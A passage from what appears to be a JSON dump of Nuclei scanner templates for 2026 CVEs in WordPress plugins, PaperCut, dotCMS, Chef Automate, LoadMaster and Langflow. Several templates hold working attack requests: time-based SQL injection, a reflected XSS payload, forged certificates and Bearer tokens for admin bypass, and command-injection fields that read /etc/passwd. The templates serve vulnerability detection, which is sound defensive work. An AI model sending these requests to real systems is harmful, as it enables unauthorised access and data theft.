https://github.com/murrez/CVE-2026-8181\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-8181\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-8181\n    epss-score: 0.14608\n    epss-percentile: 0.96663\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: really-simple-plugins\n    product: burst-statistics\n    publicwww-query: \"/wp-content/plugins/burst-statistics/\"\n  tags: cve,cve2026,wp,wp-plugin,wordpress,burst-statistics,auth-bypass,unauth,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/burst-statistics/readme.txt\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(to_lower(body), \"burst statistics\")'\n          - 'compare_versions(version, \">= 3.4.0\", \"<= 3.4.1.1\")'\n        internal: true\n        condition: and\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - '(?i)Stable tag:\\s*([\\w.]+)'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-json/wp/v2/users\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"slug\\\"\")'\n        internal: true\n        condition: and\n\n    extractors:\n      - type: regex\n        name: admin_user\n        part: body\n        group: 1\n        regex:\n          - '\"slug\":\"([^\"]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-json/wp/v2/users/me?context=edit HTTP/1.1\n        Host: {{Hostname}}\n        X-BURSTMAINWP: 1\n        Authorization: Basic {{base64(admin_user + ':x')}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"\\\"id\\\"\", \"\\\"email\\\"\", \"\\\"roles\\\"\", \"\\\"administrator\\\"\")'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n\n    extractors:\n      - type: json\n        part: body\n        json:\n          - '.email'\n# digest: 490a0046304402202151d277eaf47314b95aef063ccb341b8988ec909c138c481addfc36c1d0595b02201f8421ec6e342d722f9608605a8b37e079dedaad3fcff818336a1dd3948fe490:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-8181.yaml","vuln_id":"cve-2026-8181"},{"raw":"id: CVE-2026-81578\n\ninfo:\n  name: PaperCut NG/MF <=26.0.4 - Unauthenticated ConfigEditor Access via Tapestry Complex-Direct\n  author: darses,DhiyaneshDk\n  severity: critical\n  description: |\n    PaperCut NG and PaperCut MF versions 24.x through 26.x contain an authentication bypass vulnerability in the Apache Tapestry-based web interface. By crafting a complex-direct service request that specifies the public Home page as the render target while invoking the privileged ConfigEditor page's form listeners, an unauthenticated remote attacker can search and modify server configuration options. PaperCut's access control validates the render page but fails to validate the component page, allowing full configuration access without authentication. When chained with CVE-2026-82078, an attacker reconfigures external user lookup to use a malicious JDBC URL whose initialization SQL evaluates arbitrary Groovy code, achieving unauthenticated remote code execution. This vulnerability is actively exploited in the wild.\n  impact: |\n    An unauthenticated remote attacker can bypass authentication to access the ConfigEditor administrative interface and modify arbitrary system configurations including database driver settings. When chained with CVE-2026-82078, full remote code execution is achievable with SYSTEM privileges on Windows or papercut user privileges on Linux.\n  remediation: |\n    Update to PaperCut NG/MF version 26.0.5, 25.0.13, or 24.1.10 or later. As an immediate mitigation, restrict network access to the PaperCut web management interface (default ports 9191 and 9192) to trusted administrative IPs only.\n  reference:\n    - https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/\n    - https://www.rapid7.com/blog/post/etr-papercut-ng-mf-critical-zero-day-exploited-in-the-wild/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-81578\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-82078\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-81578\n    epss-score: 0.84734\n    epss-percentile: 0.99707\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: papercut\n    product: papercut_ng,papercut_mf\n    shodan-query: http.title:\"PaperCut\"\n    fofa-query: title=\"PaperCut\"\n  tags: cve,cve2026,papercut,auth-bypass,rce,unauth,tapestry,kev,vkev\n\nvariables:\n  rand: \"{{rand_text_alpha(8)}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /app?service=page/Error HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"<!-- Page: Error -->\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /app HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'contains(body, \"<!-- Page: Home -->\")'\n          - 'status_code == 200'\n        condition: and\n\n  - raw:\n      - |\n        POST /app?service=direct/{{rand}}/Home/ConfigEditor/quickFindForm HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Origin: {{RootURL}}\n        Referer: {{RootURL}}/app\n\n        sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=server.name&doQuickFind=Go\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"<!-- Page: Home -->\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a0047304502210088a0fb876ab610d69e562a3cceffd5c3b528de4e2d65c615c40132dee858928802200f6cb73d3bb8d97750ff791934675d369c5735655dfecb4b6910d6fa1d682e09:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-81578.yaml","vuln_id":"cve-2026-81578"},{"raw":"id: CVE-2026-81199\n\ninfo:\n  name: MasterStudy LMS < 3.7.46 - Unauthenticated Student Statistics Disclosure\n  author: 0x_Akoko\n  severity: medium\n  description: |\n    MasterStudy LMS WordPress plugin before 3.7.46 contains an information disclosure vulnerability caused by missing authorization checks in student learning statistics, letting unauthenticated attackers access sensitive user course data, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can access sensitive student learning statistics of any registered user, leading to information disclosure.\n  remediation: |\n    Update to version 3.7.46 or later.\n  reference:\n    - https://wpscan.com/vulnerability/8dd53f85-5d1b-4e0b-a0f5-8c65d89cefb5/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-81199\n  classification:\n    cve-id: CVE-2026-81199\n    epss-score: 0.00474\n    epss-percentile: 0.41076\n    cwe-id: CWE-200\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: stylemix\n    product: masterstudy-lms\n    shodan-query: http.html:\"/wp-content/plugins/masterstudy-lms-learning-management-system/\"\n    fofa-query: body=\"masterstudy-lms-learning-management-system\"\n  tags: cve,cve2026,wordpress,wp-plugin,masterstudy-lms,rest,disclosure,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"masterstudy-lms\")'\n          - 'len(nonce) > 0'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'rest_nonce\"?\\s*:\\s*\"?([a-f0-9]{10})'\n          - '\"nonce\"\\s*:\\s*\"([a-f0-9]{10})\"'\n\n  - raw:\n      - |\n        GET /?rest_route=/masterstudy-lms/v2/student/stats/1 HTTP/1.1\n        Host: {{Hostname}}\n        X-WP-Nonce: {{nonce}}\n        Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"\\\"courses_statuses\\\":\", \"\\\"total_points\\\":\", \"\\\"total_assignments\\\":\")'\n          - '!contains_any(body, \"forbidden\", \"rest_nonce_missed\")'\n        condition: and\n# digest: 490a0046304402205b6b522aa880cd078c8d27ff5b20846c7a0e8d38f6bd6fca444505f4d262658302206822164ac469922f612c7bf8a29ec790edd0d58fef928a0bc1bd247fbe68de45:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-81199.yaml","vuln_id":"cve-2026-81199"},{"raw":"id: CVE-2026-8089\n\ninfo:\n  name: WordPress weMail < 2.1.3 - Cross-Site Scripting\n  author: anirbala98\n  severity: high\n  description: |\n    The weMail plugin for WordPress < 2.1.3 is vulnerable to reflected cross-site scripting. The plugin does not properly escape a user-supplied parameter before reflecting it into an HTML attribute on a non-nonce-protected AJAX response.\n  impact: |\n    Successful exploitation requires logged-in users to click a malicious link, but allows unauthenticated attackers to execute arbitrary scripts or change web page contents on authenticated user sessions.\n  remediation: |\n    Upgrade to weMail version 2.1.3 or later.\n  reference:\n    - https://wpscan.com/vulnerability/f00c1853-a4b2-4e91-99b3-fed8acbe6da7/\n    - https://wordpress.org/plugins/wemail/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L\n    cvss-score: 7.1\n    cve-id: CVE-2026-8089\n    epss-score: 0.0049\n    epss-percentile: 0.42268\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: weDevs\n    product: weMail\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/wemail/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,wemail,xss,authenticated\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=/wp-admin/&testcookie=1\n\n      - |\n        GET /wp-admin/admin-ajax.php?action=wemail_preview&form_id=x%22%20onmouseover%3D%22alert(document.domain)%22%20zz%3D%22 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"onmouseover=\\\"alert(document.domain)\\\"\", \"preview-wemail-form\")'\n          - 'regex(\"(?i)text/html\", content_type)'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a004630440220687b709a977e64c85518458197b2fe5f680cc7603bad32047b97e79fd910ca63022002110dfaf0d6016af1297497babfb880cce95b86e7d1086f998d21634b816cb1:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-8089.yaml","vuln_id":"cve-2026-8089"},{"raw":"id: CVE-2026-8054\n\ninfo:\n  name: dotCMS Core Publish Audit API - Unauthenticated SQL Injection\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    dotCMS Core 25.11.04-1 through 26.04.28-02 contains an SQL injection caused by unsanitized input in Publish Audit API endpoints (/api/auditPublishing/get and /api/auditPublishing/getAll), letting remote unauthenticated attackers read, modify, or destroy arbitrary database content, exploit requires no authentication.\n  impact: |\n    Remote attackers can read, modify, or destroy arbitrary database content, potentially compromising the entire database.\n  remediation: |\n    Upgrade to dotCMS Core 26.04.28-03 or later.\n  reference:\n    - https://github.com/advisories/GHSA-jpx3-25r2-jq5g\n    - https://github.com/dotCMS/core/pull/35553\n    - https://dev.dotcms.com/docs/known-security-issues?issueNumber=SI-75\n  metadata:\n    max-request: 2\n    vendor: dotcms\n    product: dotcms\n    shodan-query: http.title:\"dotcms\"\n    fofa-query: title=\"dotcms\"\n    google-query: intitle:\"dotcms\"\n  tags: cve,cve2026,dotcms,sqli,unauth,time-based,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /api/auditPublishing/getAll HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        [\"x' || (SELECT CASE WHEN 1=2 THEN pg_sleep(0)::text ELSE '' END) || '\"]\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(content_type, 'application/json')\"\n          - \"contains(body, '[]')\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 15s\n        POST /api/auditPublishing/getAll HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json\n\n        [\"x' || (SELECT CASE WHEN 1=1 THEN pg_sleep(5)::text ELSE '' END) || '\"]\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"duration>=5\"\n          - \"status_code == 200\"\n          - \"contains(content_type, 'application/json')\"\n          - \"contains(body, '[]')\"\n        condition: and\n# digest: 4a0a0047304502206353978d3f1babdbe78c719242ffd86344e79159433b089fabad34084f1ac8bc022100a3ddda615cad914cbb269bca5694a0aa29e5be38745a7d7d8c50b81e2f9a5f59:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-8054.yaml","vuln_id":"cve-2026-8054"},{"raw":"id: CVE-2026-80462\n\ninfo:\n  name: Chef Automate API Gateway - Authentication Bypass\n  author: wong-hau-pepelu\n  severity: critical\n  description: |\n    Chef Automate derives an internal service identity from an X.509 certificate supplied in a request header without verifying its issuer. The load balancer blanks X-Client-Cert but does not strip the Grpc-Metadata- prefixed variants, which grpc-gateway rewrites into the metadata key the gateway's auth middleware reads. A remote unauthenticated attacker can present a self-signed certificate naming an internal service such as deployment-service and be authenticated as that service.\n  impact: |\n    Unauthenticated callers obtain an internal service identity on the API gateway, reaching privileged IAM, secrets, node inventory and ingest operations with no credential. On a confirmed deployment the forged identity was authorized on 136 API paths, including POST to /apis/iam/v2/policies, /apis/iam/v2/tokens and /apis/iam/v2/users, so it converts directly into persistent administrative access.\n  remediation: |\n    Upgrade to Chef Automate 4.13.520 or later, which adds x509 chain verification to the header certificate path and strips the Grpc-Metadata prefixed headers at the load balancer. As an independent mitigation, blank Grpc-Metadata-Grpcgateway-X-Client-Cert, Grpc-Metadata-X-Client-Cert and X-Client-Cert at any proxy in front of Automate, repeating the directives in every location block that proxies to the gateway.\n  reference:\n    - https://community.progress.com/s/article/Critical-Security-Bulletin---August-2026---Chef-Automate-Security-Vulnerability\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-80462\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2026-80462\n    epss-score: 0.02006\n    epss-percentile: 0.80875\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: progress\n    product: chef_automate\n    shodan-query: http.title:\"Chef Automate\"\n    fofa-query: title=\"Chef Automate\"\n  tags: cve,cve2026,chef,automate,progress,auth-bypass\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /api/v0/telemetry/config HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'contains_any(body, \"\\\"code\\\":16\", \"request not authenticated\")'\n          - 'contains(content_type, \"application/json\")'\n          - 'status_code == 401'\n        condition: and\n\n  - raw:\n      - |\n        GET /api/v0/telemetry/config HTTP/1.1\n        Host: {{Hostname}}\n        Grpc-Metadata-Grpcgateway-X-Client-Cert: -----BEGIN%20CERTIFICATE-----%0AMIID3TCCAsWgAwIBAgIUP7cdJfyOhse%2F6g2S65A66xYOmIwwDQYJKoZIhvcNAQEL%0ABQAwYzELMAkGA1UEBhMCVVMxGjAYBgNVBAoMEUNoZWYgQXV0b21hdGUgTGFiMRsw%0AGQYDVQQLDBJkZXBsb3ltZW50LXNlcnZpY2UxGzAZBgNVBAMMEmRlcGxveW1lbnQt%0Ac2VydmljZTAeFw0yNjA5MTQwMTMwMjlaFw0yNzA5MTQwMTMwMjlaMGMxCzAJBgNV%0ABAYTAlVTMRowGAYDVQQKDBFDaGVmIEF1dG9tYXRlIExhYjEbMBkGA1UECwwSZGVw%0AbG95bWVudC1zZXJ2aWNlMRswGQYDVQQDDBJkZXBsb3ltZW50LXNlcnZpY2UwggEi%0AMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDkGAJ3FnkT2RUMMiimzvzwerbR%0AWRg2vBFho4heBKbS8G8v3Ms7TqTNYos6g7D2XVDfwvNTYCEiDuvOf20vuYCKOVos%0AsxIhOrbUGPFn9BcTp5YXPtycHjrWs0Tfz0R7OV8Kw3G2wMWYkN0ORi%2FQGmyt3tI3%0AqHxlN5rYolgoiJ2sT60kKRrCqVI9X3njxVsfuHZ0D7kUZxiDcG%2FeYfoyzp6KSiG6%0A993De0RxhIIxudqfSIZdohZ3dwahtz%2F8N1xdc6nSqlrSPcECdc19UXU9%2BffLjrTV%0AgAbX37PY0ZP%2BiScZnPceKIIBA0cXUuG60itKiSAxMi9QtQcWEiExfKGizwYvAgMB%0AAAGjgYgwgYUwHQYDVR0OBBYEFGFn5vfGDMacdEfCOHmgsn2p3kXTMB8GA1UdIwQY%0AMBaAFGFn5vfGDMacdEfCOHmgsn2p3kXTMA8GA1UdEwEB%2FwQFMAMBAf8wHQYDVR0R%0ABBYwFIISZGVwbG95bWVudC1zZXJ2aWNlMBMGA1UdJQQMMAoGCCsGAQUFBwMCMA0G%0ACSqGSIb3DQEBCwUAA4IBAQBqBAhRPArIdf6yrcqhmdcnKHEUi7G4PJ7MEANno3DI%0AbqfwqPBoK1zoL4%2FPJ%2BWHg9ddi5wGg22lg38VlPjdtRV4ypW5p2kMV%2BfahTxSFEU%2B%0AopTP9F3nmmoAv7W3C%2BGd63%2FkotrZ%2FXyBp%2Box%2FYOFL%2BTaS8sCz6E9L1FeihlYW0ld%0Ak%2Fe1ogGDoPtieYCbs7dOlzf%2BapT2%2FeLQFzq%2BDNPBvVnP8Z0Uy5PSIiu5XGbuDIEA%0AGzTbeCpoqgHYqxCleE9A2mjWmJauPkhqDRItX3gBIHYSjKr1Kqwc2IBNtIEdrFX9%0AzHMusQh1VPgd7KrQyQ2ZpuUUD%2BV67xLH9GBsRnl6xQ7y%0A-----END%20CERTIFICATE-----%0A\n\n    matchers:\n      - type: dsl\n        dsl:\n          - '(status_code == 200 && !contains(body, \"\\\"code\\\":\")) || (status_code == 403 && contains(body, \"\\\"code\\\":7\"))'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n\n    extractors:\n      - type: json\n        part: body\n        json:\n          - '.license_type'\n# digest: 4b0a00483046022100b3281acef4c892ec9fb2167f3539647e9d1fab6534d5476521adfe5de88474c0022100d95ced290d9dc6b01508e29e5b453266b39f83a240ae4d4c14092e3e3a4d1894:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-80462.yaml","vuln_id":"cve-2026-80462"},{"raw":"id: CVE-2026-8037\n\ninfo:\n  name: Progress ADC LoadMaster - Command Injection\n  author: watchtowr,DhiyaneshDk\n  severity: critical\n  description: |\n    OS Command Injection Remote Code Execution Vulnerability in API in Progress ADC Products allows an un-authenticated attacker to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized input in multiple command endpoints\n  impact: |\n    Unauthenticated attackers can execute arbitrary commands on the LoadMaster appliance, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version of Progress ADC LoadMaster.\n  reference:\n    - https://community.progress.com/s/article/LoadMaster-Critical-Security-Bulletin-June-2026-CVE-2026-8037-CVE-2026-33691\n    - https://labs.watchtowr.com/enterprise-tech-in-shell-out-progress-kemp-loadmaster-uninitialized-heap-to-pre-auth-rce-cve-2026-8037/\n  metadata:\n    verified: false\n    fofa-query: body=\"Progress\" && icon_hash==\"-2107233094\"\n    max-request: 1\n  tags: cve,cve2026,progress,loadmaster,rce,vkev,kev\n\nhttp:\n  - raw:\n      - |\n        POST /accessv2 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: */*\n\n        {\"cmd\": \"getall\", \"apiuser\": \"''''\", \"apipass\": \"BBBBB\", \"g0\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g1\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g2\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g3\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g4\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g5\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g6\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g7\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g8\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g9\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g10\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g11\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g12\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g13\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g14\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g15\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g16\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g17\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g18\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g19\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g20\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g21\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g22\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g23\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g24\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g25\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g26\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g27\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g28\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g29\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g30\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g31\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g32\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g33\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g34\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g35\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g36\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g37\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g38\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g39\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g40\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g41\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g42\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g43\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g44\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g45\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g46\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g47\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g48\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g49\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g50\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g51\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g52\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g53\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g54\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g55\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g56\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g57\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g58\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g59\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\", \"g60\": \"AAAAAAAAAAAAAAAA'; cat /etc/passwd #\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: response\n        words:\n          - \"root:x:0:0:\"\n\n      - type: word\n        part: content_type\n        words:\n          - \"text/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100af4434f82e456243dc73c78eaea42a9334c2c9dc05fe0a035965e3f21a7b2639022100c51c9214d1c025f74fb571fc2b566f9ad3871b03d574a21116340e9bc947baf0:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-8037.yaml","vuln_id":"cve-2026-8037"},{"raw":"id: CVE-2026-80099\n\ninfo:\n  name: Newfold WordPress Plugins - Unauthenticated Admin Bypass via Empty HMAC Secret\n  author: ritikchaddha\n  severity: high\n  description: |\n    Newfold Digital WordPress plugins bundling wp-module-data <=2.9.4 allow unauthenticated attackers to forge a valid Bearer token and gain WordPress administrator access. The authenticate() method (hooked on rest_authentication_errors) computes: token = sha256(sha256(wp_json_encode({method,url,body,timestamp})) + sha256(strrev(get_auth_token()))) On sites not connected to Hiive, get_auth_token() returns false; PHP coerces strrev(false) to strrev('') = '', so the HMAC salt collapses to the public constant sha256('') = e3b0c44... All other inputs are attacker-controlled, enabling offline token forgery without any secret knowledge.\n  impact: |\n    Unauthenticated attackers gain full WordPress administrator access via forged Bearer token, enabling arbitrary REST API operations — user creation, plugin upload, theme editor write, and persistent backdoor installation (complete site takeover / RCE).\n  remediation: |\n    Update to patched versions: Bluehost >=4.19.1, HostGator >=3.2.1, Web >=2.3.6, Crazy Domains >=2.5.3, or update wp-module-data to >=2.9.8.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/3ee369c0-0d7c-4142-b3ba-a518288647ba\n    - https://github.com/Wayang1337/CVE-2026-80099\n    - https://plugins.trac.wordpress.org/browser/wp-module-data/trunk/includes/Data.php\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-80099\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2026-80099\n    cwe-id: CWE-287\n    epss-score: 0.0291\n    epss-percentile: 0.87026\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: newfold\n    product: wp-module-data,bluehost-wordpress-plugin,hostgator,wp-plugin-web,crazy-domains\n    fofa-query: body=\"/wp-content/plugins/wp-plugin-crazy-domains\"\n    shodan-query: html:\"/wp-content/plugins/wp-plugin-crazy-domains\"\n  tags: cve,cve2026,wordpress,auth-bypass,newfold,bluehost,hostgator,wp-plugin,vkev\n\nflow: http(1) && http(2)\n\nvariables:\n  ts: \"0\"\n  esc_base: \"{{replace(BaseURL, '/', '\\\\\\\\/')}}\"\n  esc_path: \"\\\\/wp-json\\\\/wp\\\\/v2\\\\/users\\\\/me?context=edit\"\n  esc_url: \"{{esc_base + esc_path}}\"\n  empty_salt: \"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"\n  data_hash: \"{{sha256('{\\\"method\\\":\\\"GET\\\",\\\"url\\\":\\\"' + esc_url + '\\\",\\\"body\\\":\\\"\\\",\\\"timestamp\\\":\\\"' + ts + '\\\"}')}}\"\n  forged_token: \"{{sha256(data_hash + empty_salt)}}\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-json/newfold-data/v1/verify/00000000000000000000000000000000\"\n    headers:\n      Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code != 404 && contains(body, \"\\\"valid\\\"\")'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-json/wp/v2/users/me?context=edit\"\n    headers:\n      Authorization: \"Bearer {{forged_token}}\"\n      X-Timestamp: \"{{ts}}\"\n      Accept: application/json\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: body\n        words:\n          - '\"administrator\"'\n\n      - type: word\n        part: body\n        words:\n          - '\"roles\"'\n# digest: 4a0a00473045022100f864c2749f54ab8a0ff711f990632dc2e296bc19311f4da4cc85c3314cbe978b022052ada3f179d1106a10b32af18fec774087dc579db6d36e0a2b705d21e2b57b2f:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-80099.yaml","vuln_id":"cve-2026-80099"},{"raw":"id: CVE-2026-7873\n\ninfo:\n  name: Langflow 1.7.2-1.10.0 - Authenticated Remote Code Execution\n  author: 0x_Akoko,pdteam\n  severity: critical\n  description: |\n    IBM Langflow OSS 1.0.0 through 1.10.0 contains a command injection caused by insufficient input validation, letting authenticated attackers execute arbitrary OS commands and read sensitive files, exploit requires authentication.\n  impact: |\n    Authenticated attackers can execute arbitrary OS commands and read sensitive files, leading to full system compromise and lateral movement.\n  remediation: |\n    Update to the latest version beyond 1.10.0.\n  reference:\n    - https://www.ibm.com/support/pages/node/7278441\n    - 